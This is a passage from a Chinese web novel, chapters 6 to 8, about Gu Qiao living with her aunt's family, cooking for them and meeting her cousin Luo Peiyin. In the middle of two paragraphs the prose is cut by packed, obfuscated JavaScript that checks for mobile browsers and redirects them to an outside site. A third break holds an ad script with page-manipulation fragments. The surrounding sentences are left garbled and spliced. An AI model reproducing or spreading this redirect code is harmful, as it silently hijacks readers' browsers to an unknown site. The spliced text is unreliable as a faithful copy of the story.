骆太太让老钱开车送谷翘去陈家拿行李去了。娄德裕的朋友能是什么好人,谷翘竟然打算在他家歇脚。看来都到这时候了,堂姐也没想过来找自己。是怕给自己添麻烦,还是怕自己看了笑话,抑或是是认定了自己不会帮忙?想到这儿,骆太太的笑有些嘲讽。娄德裕欠的债对她来说也不是一笔随随便便就能拿出的数目,她当然不会拿自己的钱去填娄德裕欠的债。骆伯桉享受的房车待遇是一回事,到手收入又是另一回事,这个人眼里只有他的名声和前途,不允许妻子儿女因为他占一点便宜,额外收入当然更是没有的。 骆太太想,这么多年了,堂姐还是这么死心眼。谷翘倒是比堂姐精明,知道这个时候来找自己帮忙。可到底是娄德裕的女儿,这时候还舍不得这个爹,还想着把他找回来承担责任。欠了这么多债,以娄德裕的人品怎么可能会回来?没准是早就计划好了卷包跑也说不定。他真心藏谁能找得到?不过骆太太倒是支持谷翘去派出所给娄德裕报失踪,宣告失踪到了年限堂姐便可要求离婚。 谷翘是堂姐和娄德裕的女儿,最终骆太太对堂姐的感情战胜了对娄德裕的厌恶,决定把谷翘留下来,给她找一个正经单位的工作,如果她想继续读书,以后可以在职读夜大。她不准备让谷翘再继续读一年高中,就算考上了大学,也太不经济,再怎样,父亲总是比堂姨亲的,栽培半天还是给娄德裕做了嫁衣。不如现在就工作补贴家里,帮堂姐减轻一点生活压力。 皇冠车停在针鼻胡同外面,谷翘来陈家取她之前的行李。说是行李,也就一个小包,衣服都没几件。家里只有陈大妈在,她跟陈大妈道了别,陈大妈放心不下非要把她送到胡同口。谷翘上了车,回头发现陈大妈还站在那儿,她朝陈大妈使劲挥手。等看不见陈大妈的影子了,她还没放下自己的手。她有一种直觉,她好像要和过去的日子告别了。 车子行驶到一家报刊亭,谷翘请司机老钱停下来,她下车买了五六种报纸,才又回到了车上。她噼里啪啦地翻着报纸,试图找到报失踪之外的其他寻父方法。多一种尝试,就多一分可能。堂姨根本就不想看见娄德裕,请堂姨帮忙找人也是行不通了。娄德裕现在没准还有看报寻找致富法门的习惯,把寻找他的信息登到报上呢?不过付费刊登她谷翘刊不起的。而且报上那些付费刊登的广告,譬如征婚之类,都版面太小,一般人很难注意到。 谷翘的眼睛最终定在一则招聘消息,一家酒吧招聘酒水销售,工资提成都很有吸引力,也不知道靠不靠谱。她真愿意这事靠谱。 骆太太看看谷翘取回的行李,又看了看谷翘跟谁啃了一口的头发。这么个年纪,也该学会打扮自己了。既然有个不错的底子,就该利用起来。像堂姐嫁给娄德裕,真是把好条件浪费了。骆太太十八岁之前,一直觉得堂姐是天下最好看的女孩子,她一直自觉不自觉地模仿堂姐的举手投足;但是等她后来进了城,堂姐在她心里的光彩一点点褪色。因为这个,她理解了周瓒。周瓒对堂姐的爱情只能在村子里发生,只要他离了乡下,就会发现堂姐的平凡。但即使不嫁周瓒,也不必低就娄德裕。 骆太太先把谷翘领到了她的新房间,让她收拾一下。 新房间不大,窗子只有小小的一扇。一张单人床之外将将能容得下一桌一椅一个窄柜。不过有地儿住谷翘觉得已经很不错了,堂姨给她解决住处,已经远超她的期待。住处解决了,她就可以放心找工作了,等找到工作有了宿舍再搬出去。她麻利地收拾好了东西,正要伏案写信给妈妈报平安,就听见敲门声。 骆太太拣了几件她的旧衣,让谷翘先换上。衣服都是浅色,像谷翘那样的鲜黄衬衫骆太太觉得颜色太艳太乡气,也就是谷翘年轻,才看着有些活泼气。 骆太太关上门,让谷翘换了衬衫裙子给她看。谷翘觉得这件淡蓝色飘带衬衫穿在堂姨身上应该很好,但不是很适合自己,不过在骆太太眼里,还是比她的黄衬衫好多了。骆太太打量了谷翘的上身,低声问:“你的内衣什么码?” 谷翘难得红了脸,她本来都是穿背心的,后来背心穿着不合适,她妈妈特意带她去县城商场买的,对于她这种中学生,当时只有这一款。现在是有些紧了,但是谷翘觉得勒一勒也好,要不鼓出来穿衬衫总有点突兀。 骆太太看桌上的白纸刚写了妈妈两个字,就没下文了,她问谷翘:“你写信准备怎么跟你妈说?” “我在小姨这里一切都好,让她不必担心……”谷翘觉得小姨提的以后可以边工作边读夜大拓宽了她的思路,这个说给妈妈听,妈妈就不用老遗憾今年她没高考了。同时她省略了娄德裕的部分,她觉得小姨也不会喜欢听。 “你现在就写吧,写完我带你去邮局。对了,你告诉你妈,我给她寄了一张一千块的汇款单,让她记得取。” 谷翘没推辞,忙说:“谢谢小姨。”她知道家里很需要这笔钱救急,保佑她赶快找到工作吧,以后就可以把钱还给小姨了。她问堂姨:“您有什么要带的话吗?” 骆太太愣在那里,半晌才说:“让她注意身体。”这些年想说的话太多,因为没在合适的地方说出来,攒到一起反而无从提起了。 等谷翘写完信,骆太太先让老钱送他们去了邮局,信寄好了又开到富晶酒店。骆太太总是在这家酒店的理发部理发。谷翘进了酒店,眼睛很贪婪看着周围新鲜的一切,毫不掩饰自己第一次见。 骆太太对谷翘的反应并不意外,她倒希望谷翘能见点世面,不至于被随便一点小恩小惠就迷了眼睛。 骆太太教育谷翘:“这里的人最是势利,就算第一次见,也不要表现得大惊小怪的样子,让人第一眼就把你看轻了。” 谷翘心里说别人爱怎么看我就怎么看我,我又没偷没抢。但以她对小姨的理解,小姨应该不想让相熟的人知道,她有一个没见过世面大惊小怪的亲戚。既然小姨帮了她的大忙,还好心带她来这里剪发,那她就配合一下小姨的期待吧。 骆太太猜谷翘心里在骂自己,她问:“你在想什么?” “这里真不错,以后我要带我妈妈也来这里。” 骆太太没想到谷翘会这么说,一时间有点儿恍惚:“那你可得努力了,这里不是谁都能消费得起的。”而后她听到谷翘一声响亮的“我会努力的!” 谷翘到了理发部内部,很好地抑制住了自己的好奇,眼睛只追随着堂姨。理发部的顾客不光是国人,还有一些金发棕发的外国人。 谷翘猜,堂姨大概是这里的常客,她指定了一个人给谷翘剪发。谷翘的短发剪得很俏皮,得知剪发的价钱,谷翘不免为堂姨心疼。 骆太太又带谷翘去商场添了两件内衣,这是必要的。谷翘试胸衣的时候,骆太太意识到这女孩子已经发育得很成熟了,她必须得给谷翘提个醒。 买好内衣,骆太太对谷翘说:“你才十八岁,遇到有人追你,也不要着急谈恋爱。等你真到时候了,我会给你介绍的。在这上面,你还是要相信长辈的眼光。” 谷翘完全没想到堂姨会突然提这个:“我现在哪有时间做这个呀?”别说做了,在堂姨说之前,她一个念头都没这方面转过。她当务之急就是挣钱。她悲哀地发现她现在真不愧是娄德裕的女儿,一心只想赚钱。 骆太太并没为谷翘购置新衣服新鞋子,倒不是为了省钱,买两件衣服的钱总不缺,但是让谷翘以为这是常态就麻烦了。升米恩斗米仇,不得不防。 走在商场里,骆太太低声向谷翘嘱咐:“除了我,你爸爸的事不要跟任何人说。你遇到了难处,别人不光不会帮你,反而会因此踩你一脚,家里的困难没必要让人知道。这个家里四个孩子,只老三老四是我生的,是你的亲表妹表弟。其他人,保持礼貌就可以了。老大结婚了,回家次数不多。老二暑假去新加坡了,他平常上学,只周末回家。回家见着面,你称呼一句表哥就可以了。不用特别……试图亲近。”骆太太想说的是“巴结”,但这个词太难听了,于是换了个词。巴结也没用,这人反而看不起你。大概继承的他母亲的脾气! 在骆家,谷翘最先混熟的是骆老四。当骆老四意识到表姐很穷之后,就不再寄希望能从姨妈那里获得大红包。不过穷表姐也有穷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718363|144253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表姐的好处,穷表姐现在研究食谱上了瘾,每天请他点菜试菜。 谷翘来到骆家的第二天,连奶奶下楼梯不小心摔了一下,虽然不严重,但是得静养一段时间。连奶奶被女儿接回家静养前,向骆太太表示,她很快就会回来的。骆太太只说让连奶奶好好养伤,不用着急回来,马上去家政公司填了表。不过新保姆接连来了两个,都不能使骆太太满意。 谷翘就是在这时候主动接下骆家家务重任的,谷翘之前去职介所登记过,还没有合适工作联系她,骆太太这边要给谷翘介绍一份正经单位的工作,暂时也没有满意的。反正闲着也是闲着,不如帮一点忙,也算是感谢人家让自己借住。谷翘让骆太太慢慢找,空缺阶段她可以暂时先顶下来。谷翘很快就学会了煮咖啡用烤箱做点心用榨汁机榨汁,最麻烦的是做菜。不过谷翘很有信心。 谷翘的厨艺还是在今年照顾母亲时由姥姥启蒙的。 自从有钱重新成为光荣后,谷翘的姥姥便不再掩饰自己是小业主的女儿这件事,甚至对自己的身世重新进行了润色,原先她们家在县城里只有两家杂货店一家香烛铺,这个数字在姥姥的讲述中一次次增长。在姥姥最新的一次讲述中,整条街的店铺都快成她家的了,不像是小业主,简直是个资本家。虽然富裕这件事很有点儿水分,但谷翘姥姥小时候享过福这件事很可能是真的,她确实比谷翘妈更会鼓捣好吃的。德裕发家之后,姥姥也重新找回了自己的手艺,老人家总觉得自己馋嘴有点儿不体面,但为自己的女儿女婿孙女们做好吃的是很正当的理由。姥姥腿脚不好的时候,还不忘拄着拐棍在一旁指导谷翘妈做饭。等家里债主来的时候,姥姥才丧失了做饭的心气儿。 谷翘本来对做饭这件事儿并没研究,可是妈妈病了,愁得吃不下饭。谷翘想着,这一天天的不吃东西,身体怎么能好。有个好身体,再难的日子总能挺过去。日子已然这样了,除了硬着头皮挺下去,还能有什么办法呢? 于是她开始研究给妈妈做点儿好吃的。可家里的食材实在有限。连家里下蛋的老母鸡都被债主给抓走了。在村里买块肉,全村人都会知道这肉的斤两、是肥是瘦。尤其像她们家,一双双眼睛都盯着呢。在债主眼里,她们吃块肉恐怕都是罪过,不年不节的,都这会儿了,还敢吃肉,买肉的钱怎么可以不拿来还债呢? 谷翘自己可以不吃肉,但她觉得妈妈需要吃一点肉。她用没花完的生活费走了十几里地,割了二斤肉,她头一次花钱花得偷偷摸摸,跟做贼似的,她偷偷买了肉,又偷偷摸摸回了家。夏天肉容易腐坏,谷翘回家切了一点,就把剩下的肉给腌上了。这二斤肉,谷翘在姥姥的指导下,烹制了很多顿,她不由感叹炒菜真是我国的第五大发明,把一点点肉和菜混炒在一起,满盘菜都可以有肉味。不知是谷翘妈真觉得谷翘的菜做得好,还是觉得女儿每天换着花样给她做饭太辛苦,她又恢复了往常的食量,身体慢慢好起来了。 也是因为这个,谷翘对自己炒菜的技艺很有自信。 凭着这份自信,兼之不停地试错学习,谷翘的厨艺得到了骆老四的充分认可。骆老四很认真地对谷翘说,她做的炸鸡并不输于肯德基家乡鸡。 在骆家的第十天,谷翘见到了娄德裕口中的“三婚老头”,因为“老”字在她心里扎得太深刻,以至于见到人完全没能对号入座。骆伯桉面貌举止完全是中年人,还是意气风发的中年人。他不说话的时候有种不怒自威的架势。骆老四很怕他的爸爸。 谷翘完全不觉得“三婚老头”冷漠,他见到谷翘,就像领导下乡见到老乡一样热情,问他们村的家庭联产承包责任制实行得怎么样,是不是真正的调动了群众积极性;得知谷翘是高中文化水平,又问是不是义务教育在他们显得到了很好的贯彻。谷翘一瞬间对自己所处的地方陷入了怀疑,在听到谷翘的回答后,“老头”并不是很满意,陷入了沉思。 谷翘在骆家的第十八天,才把骆家二哥和“骆培因”两个字真正对应起来。平常骆老四老说二哥二哥,她也不知道二哥是谁,只知道这二哥忌口太多,多得让骆老四痛苦。连西红柿都能过敏。 在骆家的第十八个晚上,骆伯桉对骆太太说:“培因就要回来了。” 听到这两个字,谷翘突然想起了那天骑车带自己的少年。原来他就住在这里,怪不得路这么熟呢。 7.第 7 章 本来是老钱开车去机场接骆培因的,结果出了机场,却变成了骆培因在开车。 当骆培因主动提出要开车的时候,老钱第一反应不是不合适,而是他能开吗。待方向盘落到骆培因手里,车子平稳而迅速地使进城内时,老钱心想这技术哪练来的。老钱做司机前在部队当了好些年的汽车兵,很自豪自己开车的技术。但以他的眼光看,骆培因这把车也开得没毛病。 老钱想,估计是在他母亲家练的,老钱隐约听说领导的前妻在新加坡,很有钱,估计家里不少车。 骆培因的外公祖上上个世纪因为家贫下南洋谋生,从开小店起,渐渐起家,积累到他外公这代,已经完全不知道缺钱的滋味。当时新加坡属英属殖民地,外公家虽在此地多年,仍以中国人自居。他外公年轻时自己不缺钱,却很为别人受到的贫穷不公而愤怒,十几岁正是热血,一个人拿了家里值钱的物件儿去当铺换了钱,连一封信都没留下就回祖国参加抗日了。当时是三十年代初,中国尚未全面抗战,外公十几岁离家回中国,等到日本投降,已是年过三十。在这其间,外公认识了一个志同道合的女学生,后来与这女学生在一起生下了骆培因的母亲。没有人知道外公在结婚生子的过程里,想没想过他的父母。或者是胜利后看到别人团聚,勾起了他的思家之心,他终于回家探亲了。 外公是家中幼子,外公的母亲自从有了这小儿子,就捧在手心里如珠如宝,自小儿子不知去向,从此一病不起,但这口气等到外公回家才终于咽下。外公回家发现家里已是物是人非,新加坡日占时期,外公的父亲因给抗战捐款,在日军大规模屠杀中未能幸免,家产也被日本人强制征收。外公的大哥受了刺激,从此一蹶不振;二哥靠种植红薯木薯养活了全家。 外公的孝子基因和商人基因是哪个先觉醒,至今是个疑问。外公给他母亲办完丧事后,又回了一趟中国,这次他是要带妻子女儿和他一起去新加坡,中兴家业。但是外婆比外公更舍不得故土,最终骆培因的外婆和母亲留在国内,他外公一个人回了新加坡。从此相隔两地,到外婆去世,两个人再未见过面。 外婆说骆培因像他外公,骆培因自己完全不觉得。他第一次陪他母亲回新加坡探亲,他的外公已经是老太爷模样了。外公又再婚过,子女众多,可以称得上人丁兴旺。八岁的骆培因置身于这些人中间,只觉得哪哪都不对,他从前受过的教育让他无法接受他坐着吃饭的时候,有佣人在身后站着。而其他的人都很习惯,反而不这样不正常,他母亲也很快习惯了。 后来骆培因的母亲从外公一众子女中杀将出来,成为家族唯一的继承人,这件事至今仍让骆培因的舅舅们愤恨和不解。骆培因的母亲对弟弟背后的愤恨毫不在乎,反正他们当面对她既敬又怕。她唯一不满的是自己的儿子,儿子对她努力获得的一切并无应有的尊重和敬畏。 廖女士认为问题出在她只有一个儿子上,骆培因是她唯一的继承人,他大概理直气壮地认为她的一切都是他的,对于轻易到手的东西谁会珍惜呢?一般心软的母亲也就认了,毕竟孩子只有一个,以后也不会再有了。但廖女士并不是一般的母亲,当儿子来看她时,她让儿子体验钱能带来的一切享受,凭自己的心意送他礼物,但是吝于给他钱。她告诉儿子,钱就像自由一样,不会主动送到你手边,你得努力去争取。 骆培因并没有直接回家,而是把车开到了连奶奶门口。骆培因听老钱说,骆奶奶下楼梯时摔了一跤,现在在女儿家养病。 这个小院儿是连奶奶自己买来养老的,平常是她女儿女婿一家在住。连奶奶对外说院子是她女婿做生意赚了钱买的。 骆培因知道这是连奶奶的院子,但也就是知道而已,从没戳破过,更没跟别人提过。 骆培因让老钱在门口等他一下,他十分钟后就出来。 听到骆培因来了,连奶奶的女儿接过果篮,客气地把他引进连奶奶住的房间,又忙去倒茶洗水果。荔枝没摆在桌面上,此时特地拿出来待客。 连奶奶自己住在一间很宽敞的卧室里,床正对着一台新彩电,旁边是一对单人沙发和茶几。见到骆培因,连奶奶忙从床上坐起来,笑着说:“回来啦!都怪我,我现在还后悔,怎么当初就这么不小心,给家里添了多少事。小姐在新加坡挺好的吧。” 廖女士还是个小女孩子的时候,连奶奶就在她家做事。及至廖女士结了婚,生了骆培因,没就又把连奶奶请了来。后来骆培因自己一个人回国,他爸爸没时间照顾他,再次把连奶奶请了来。这一来,就没再离开过。 “我母亲很好,她让我代她替您问好。”说着,骆培因拿出一个丝绒盒子,盒子里装着一个金链子,“这是我母亲让我给您带的小礼物。” “小姐总是那么客气。”连奶奶推辞不受,骆培因也没勉强。他把盒子放在沙发旁的小茶几上,他知道等他走了她们会收起来的。 骆培因想起很久之前,他在海滩上捡了许多海螺,他把海螺拼成一只羊封在相框里,连奶奶属羊,他准备回国把这只相框送给她做礼物。他母亲笑他,你费这么半天劲还不如送她一颗金豆子,你怎么觉得她会喜欢这玩意儿?她一个女人要自己养两个孩子最需要的是钱。你这种东西对她毫无用处。 廖女士很生气,儿子竟然认为老保姆比自己还亲近。要不是她付老保姆工资,人家会照顾他?她毫不留情地指出了儿子的愚蠢,你不会以为她尽心照顾你是因为爱你吧,那是因为我在给她发工资。你可以试试我不给她发工资,她还会不会管你。连奶奶除了从骆伯桉那里领一份保姆费,还从廖女士这里拿一份薪水。如果不是廖女士主动说出来,骆培因并不知情。当然,廖女士是一个赏罚分明的人,她并没有因为儿子迁怒于连奶奶,反而为了奖励连奶奶的尽心尽力,买了一只很重的金镯子让儿子给连奶奶带回去。 后来连奶奶的反应证实了廖女士说的。连奶奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725654|144253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到骆培因的相框只是礼貌性地笑了笑并且礼貌性地夸了夸礼物,夸的词非常牵强,但看到他母亲送的金饰眉眼抑制不住的笑意。 说完客气话,连奶奶又说:“我也好的差不多了,过几天就回去。” “不着急,您好好养病。好不容易回来就多住些日子。” 连奶奶又说:“要是现在还没找到顶替的,我就让我侄女过去照顾几天。她还算眼里有活儿,也细心,该注意的我也会提醒她。总比临时找来的外人强。要是用着还行,就让她一直做下去,不行的话就让她回来,这也不碍的。” “这您就不用担心了,谷阿姨会处理的。” 就是她处理,连奶奶才不放心。她怀疑现在这位太太早就想把自己赶走换新人了,这次正是个机会。这些年她钱也挣得够养老了,但这份工作她总舍不下。一个人拿两份工资,再说廖小姐和骆家待她都不错,她做这么多年也有感情了。她本来准备着再做两年,让侄女去接她的班。一是侄女做事确实不错,引荐给骆家她倒也放心;二是这份便宜连奶奶不想让别人占。可是她突然摔了,一切计划就打乱了。她本来想让侄女临时来帮忙,可是骆太太拒绝了。连奶奶现在怀疑这位新太太突然把她的远房亲戚叫来就是为了顶替自己的。 连奶奶跟骆培因提起谷翘:“那天你刚出门去机场,谷老师的外甥女就来了。现在估计还在家里住着。以前也没听谷老师提过这门亲戚,大概不怎么亲,不知道怎么这次就住家里了。”就算这份差事她侄女做不了,连奶奶也不希望谷家的亲戚做。连奶奶这样想倒完全是为了骆培因。骆培因是她从小带大,对他总是比对别的孩子亲些。骆先生平常忙不在家,一家子不是姓谷的儿女,就是姓谷的外甥女,骆家都要变成谷家了。 骆培因想起谷翘,她现在还在他家住着? “这女孩子很机灵,但是太机灵了就……” 骆培因看了下表:“您在家好好养病,老钱还在外面等我,我先走了。他送了我还有别的事。”他不愿意在背后讲别人的坏话,连听都懒得,何况谷翘这个人和他也不会有什么交集。 连奶奶的女儿进来送茶和水果时,骆培因已经站起来道别了。 连奶奶要从床上起来出去送骆培因,骆培因把她拦住了:“您好好歇着。” 老钱没想到不到十分钟,骆培因就出来了,他手里的烟还没抽完。老钱把烟头扔地上,用脚捻灭了。 这次骆培因倒没跟老钱争方向盘,他坐在驾驶位后面,闭目休息。 连奶奶说得没错,骆培因果然在家见到了谷翘。她穿着围裙就来给他开门了,两人四目相对,谷翘马上笑了出来,两只眼睛亮晶晶的,脆生生地叫了声表哥。 那亲热劲儿仿佛他已经做了她十年的表哥。 骆培因一时很不习惯,他点了点头,算是回应。谷翘转身请他进去的时候,骆培因无意看到她的围裙后边特意系了一个蝴蝶结。 8.第 8 章 谷翘和骆培因一起进门,她走在他旁边。侧过脸瞧了他一眼,他好像比上次见黑了点儿。这个人竟然能对西红柿过敏!西红柿多好吃啊! 骆培因走得很快,谷翘快步跟上他,又用她那把清亮的嗓子说:“表哥,连奶奶不小心摔了一下,现在回家养病去了。不过你别担心,没什么大事。” 骆培因嗯了一声,表示知情。 谷翘又跟上来,继续说:“表哥,连奶奶不在的日子,这些天暂时由我做饭。我听说你喜欢吃鱼,今天我特意买了鱼,你是想吃清蒸鱼还是鱼丸汤呢?” 骆培因想起连奶奶的话,她那么说谷翘,大概是怕谷阿姨这个亲戚把位置占了。他说让连奶奶放心,那意思并不是这个位置会给连奶奶或者她的侄女留着,这是谷阿姨需要决定的事,他不干预;而且连奶奶这个年纪,回家养老也没什么不好。他这个放心指的是以他母亲的作风,对于这个尽职照顾了他们母子的老奶奶,即使连奶奶不做了,母亲也会给她一笔钱足够她来养老的。 他没有说那么明白,是因为一旦说了,连奶奶只会说她想回骆家做,并不是为了钱。那类剖白他不想听。真为了钱又怎样?母亲这点他倒是很认同,做得好的人理所应当应该得到她应得的报酬。 骆培因转过脸对谷翘说:“谢谢。你决定。”他对待服务人员一向很客气的。 谷翘马上说:“好嘞,那我今晚做鱼丸汤。”鱼丸汤复杂一点,她第一次做,正好可以练练手。她没跟骆培因再次介绍自己的身份,她以为骆培因上次已经了解了,毕竟是他把自己送到这里的。 骆培因走到楼梯口,又听见有人叫他:“表哥!” 他有点儿烦,但回头看向谷翘的时候并没有表现出来:“你还有什么事吗?”他对“表哥”这个称呼倒没觉得有什么不适当。年轻小保姆随家里小孩子叫人都是很平常的事,否则怎么称呼?难道像她母亲家的佣人一样张口闭口少爷,仿佛上个世纪的事。何况他们还真有点儿沾亲带故。 “表哥,再占用你半分钟的时间,我跟你确认下你的忌口。”这次没等骆培因说话,谷翘就根据她从骆老四那里了解到的信息报了一串,说完,她抬头看向骆培因,“是这样吗?” 骆培因听完几乎有点儿佩服谷翘了:“没错,谢谢。” 谷翘对骆培因的“谢谢”接受良好,马上笑着说:“不客气!”说完她就转身奔厨房了,步子很轻快。 谷翘的这几声清亮的表哥提醒了其他人,全家人都知道骆培因回家了。 谷翘一个人独自在厨房,研究她的鱼丸汤。 每当沉浸于做菜的时候,谷翘就会有一种错觉,仿佛她开餐馆赚大钱已经近在眼前。 谷翘和娄德裕为数不多的温馨时刻,就是娄德裕讲他如何发财时。每当娄德裕讲他那些发财致富的故事时,谷翘都很捧场地听,每每为了感激谷翘的捧场,娄德裕就从钱夹里拿出一个大票子给谷翘,很豪横地让她随便去买点儿什么,不够了再管他要。 这些娄德裕讲的财富故事里,就包括谁谁谁去美国唐人街当中餐馆老板,一年挣好几万美刀。好几万,还是美刀。 能挣这么多,她和妈妈还用得着为钱费心吗?这个想法很具有麻痹作用,几乎驱散了她所有的焦虑烦恼。 谷翘之前去职介所登了记,职介所也给了她一些推荐,但是堂姨否决了职介所给谷翘介绍的所有工作。可堂姨看得上的职业,并没有人找她干。堂姨让谷翘不要急,工作的事她来想办法。谷翘一方面相信堂姨是真心为她好,而且堂姨见识阅历也比她多得多;另一方面,堂姨总拿妈妈来压她,堂姨说如果母亲知道她来这里做保姆服务员仓库保管员,是无法接受的。谷翘决定再等一等,如果夏天过去,再没找到堂姨口中的理想工作,她就随便找一份工作先做着。做买卖也是需要本钱的,她得攒点儿钱。 谷翘并不把做饭当作一个麻烦,而是一种事业的准备。技多不压身,多个手艺多条路。有现成的厨具、有可置办一切食物的菜金还有现成可给反馈的食客,没有比现在更好的了。除了骆老四主动提供了他爱吃的一切食材口味,谷翘还问了骆老四他爸妈姐姐哥哥喜欢吃什么。她以一个老板兼大厨的身份要求自己,规划着餐桌上每顿饭的菜品,力图每个人都能吃到他们爱吃的。她努力做出大家爱吃的菜,并拓展餐桌上新的菜品。谷翘这样做并不是为了巴结讨好谁,只是对未来事业的一种演练,虽然在外人眼里这两者并没有什么不同。 而且要是能达到讨好其他人的效果,谷翘觉得也没什么不好的。如果这个家的谁能发现她这匹千里马无尽的潜力,投资她一下,那真是再好不过了。她现在很需要一个伯乐。 今天食客又多了一位。骆培因的口味很多和家里其他人都冲突。她必须要找到一个平衡,绝不厚此薄彼。结合骆培因喜欢吃鱼、又喜欢清淡的,一大早谷翘就去菜市场买了条活鱼。 谷翘现在已经对菜市场很熟悉了。她发现菜市场的菜比店里更便宜,虽然堂姨并没有要求她省钱。堂姨给了她一百块,让她用来买菜,她每天买菜记账,主动找堂姨报账,堂姨听了两天就烦了,让她自己支配。但她还是坚持记账,一方面是为了账目清晰避免误会,另一方面一个未来的老板应该有成本管控能力,她从现在就开始锻炼自己。 她还结识了同片的小保姆。堂姨有次看见她和别的小保姆聊天,很生气,“你怎么和她们混在一起,记住,你不是一个保姆,你怎么看待自己,别人就怎么看待你。” 谷翘完全不认为自己是个保姆。那些小保姆比她有钱多了,她们每月都有工资拿,而她,暂时还处于待业状态。看着小保姆们用发来的工资把自己打扮得五颜六色的,谷翘还有点儿羡慕。当然她的堂姨对这些鲜艳的衣服发卡头绳全不欣赏,只觉得土里土气。 谷翘没把自己当保姆,也没把堂姨家当成自己的家。在家里,她做饭是会让两个妹妹帮她做些事的,妹妹们也都很乐意帮忙。但在这里,她虽然在称呼上叫骆老三骆老四表妹表弟,但她没法理直气壮地让他们帮忙,他们也毫无帮忙的意思。不过这倒没怎么困扰谷翘,既然是暂时寄住人家,多做点儿也是应该的,多做也多学嘛,她对自己说。 此时谷翘的心思完全在鱼丸汤上。她给骆培因提供了清蒸鱼和鱼丸汤两个选择。不过清蒸鱼昨天刚吃过了,这个家的其他人今天应该想换换口味。在问骆培因之前,她的心里就更倾向于鱼丸汤,他让她决定,她就毫不犹豫地说了出来。 谷翘读书时都没像研究菜谱这么尽心,她努力在心里勾画了一遍重点。把鱼肉削成泥并不是最难的,重要的是掌握鱼丸投下沸水的速度。 往常晚饭是四菜一汤,这天谷翘因为骆培因回来,又特意加了两个菜。为了保有鱼的鲜味,鱼泥虽然已经准备好了,但是谷翘决定最后再让鱼丸下锅。饭还没做好,骆老四练完琴就来厨房视察了,他实在喜欢吃鸡,今天谷翘答应给他做鸡翅。 闻到鸡翅的香味,骆老四忍不住问:“表姐,什么时候开饭啊?” 今天菜做得有点儿多,考虑到菜凉了会影响口味。谷翘决定现在就开饭,让大家先吃。 她对骆老四说:“你去把我做好的四个菜都端到餐桌上,再把饭盛好,做完就喊大家吃饭。剩下的菜一会儿就好。”她虽然不好意思让骆老四帮她洗菜择菜,但让他端个菜盛个饭,谷翘觉得是很正常的。 骆老四撇撇嘴,连奶奶在的时候端菜盛饭的事是不用他干的。之前三姐对她说,表姐很可能是来顶替连奶奶的,别人家请乡下亲戚做保姆也是常有的事。骆老四听了大喜,这个连老太太终于走了。而谷翘是母亲这边的亲戚,于情于理都应该更向着自己。但是他现在他并没有感到翘表姐的偏心,二哥回来,她甚至还多加了两个菜。不过即使二哥回来,还是能吃到鸡翅,翘表姐还是比连老太太好太多了。二哥是连老太太那边的,让二哥先尝点儿甜头也好,他就不会坚持让连老太太回来了。骆老四怀疑,以父亲对二哥的偏心程度,如果二哥要求连老太太回来,母亲也不得不同意。 骆老四急着开饭,就没有推辞,马上按谷翘说的做了。 饭桌上,为了将连老太太彻底驱逐出自己家,骆老四特意在他二哥面前替谷翘表功:“二哥,翘表姐因为你回来特意加了两个菜。鱼丸汤就是她特意为你做的。” 谷翘没否认这点,但她马上又加了一句:“昨天喝的鸡汤,今天做鱼也是给大家换换口味。” 骆培因想,连奶奶说得没错,谷翘果然机灵,只一道菜就看上去把大家都照顾到了。他之前对她有点儿误会,还以为她是个愣子,怕她被人给骗了。 就连骆太太也觉得谷翘过于机灵了。连奶奶摔倒后,谷翘倒是帮了她大忙。骆太太虽然对连奶奶不满意,但找到一个合适的保姆也不是那么容易的。找不到合适的,到头还是得让连奶奶回来。现今有谷翘帮忙过渡,她可以从容挑一挑。但现在从骆太太的角度看,谷翘过于努力了,她并没告诉谷翘骆培因喜欢什么不喜欢什么,但她提前摸得这么清楚。都是年龄相当的男女,她怕谷翘生出什么不该生出的心思。她以前怕谷翘没有心气儿,步堂姐的后尘,但太有野心了,也不是什么好事儿。到头来伤自己的心,场面也难堪。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 周瓒的女儿经常来走动,也没见骆培因对她有什么特别的表示。他能选择的太多,谷翘甚至不在这选择里面。 骆太太想着,等以后她要敲打谷翘一下,有心气儿是好的,但人要脚踏实地。以谷翘的资质,踮着脚够个城里家里条件还行的普通大学生还是够得着的。她正在考虑给谷翘谋个大学后勤的工作,以后读夜大提升学历也方便。 谷翘并没猜到堂姨的心思,她的注意力还在她的菜上:“这汤我今天第一次做,还有改进的空间。要是有不满意的,一会儿可以给我提提意见。”骆老四因为很想让谷翘留在自己家,他马上配合道:“我觉得这汤很好,二哥,你觉得呢?” “鱼丸很鲜。”骆培因不是客气,如果这鱼丸汤是谷翘第一次做的话,那确实很不错。他注意到谷翘并不只是在鱼丸汤上照顾到了他的口味。知道他不吃葱蒜,谷翘炒的马齿苋里并没像一般做法那样放蒜瓣,而是改良了一下。 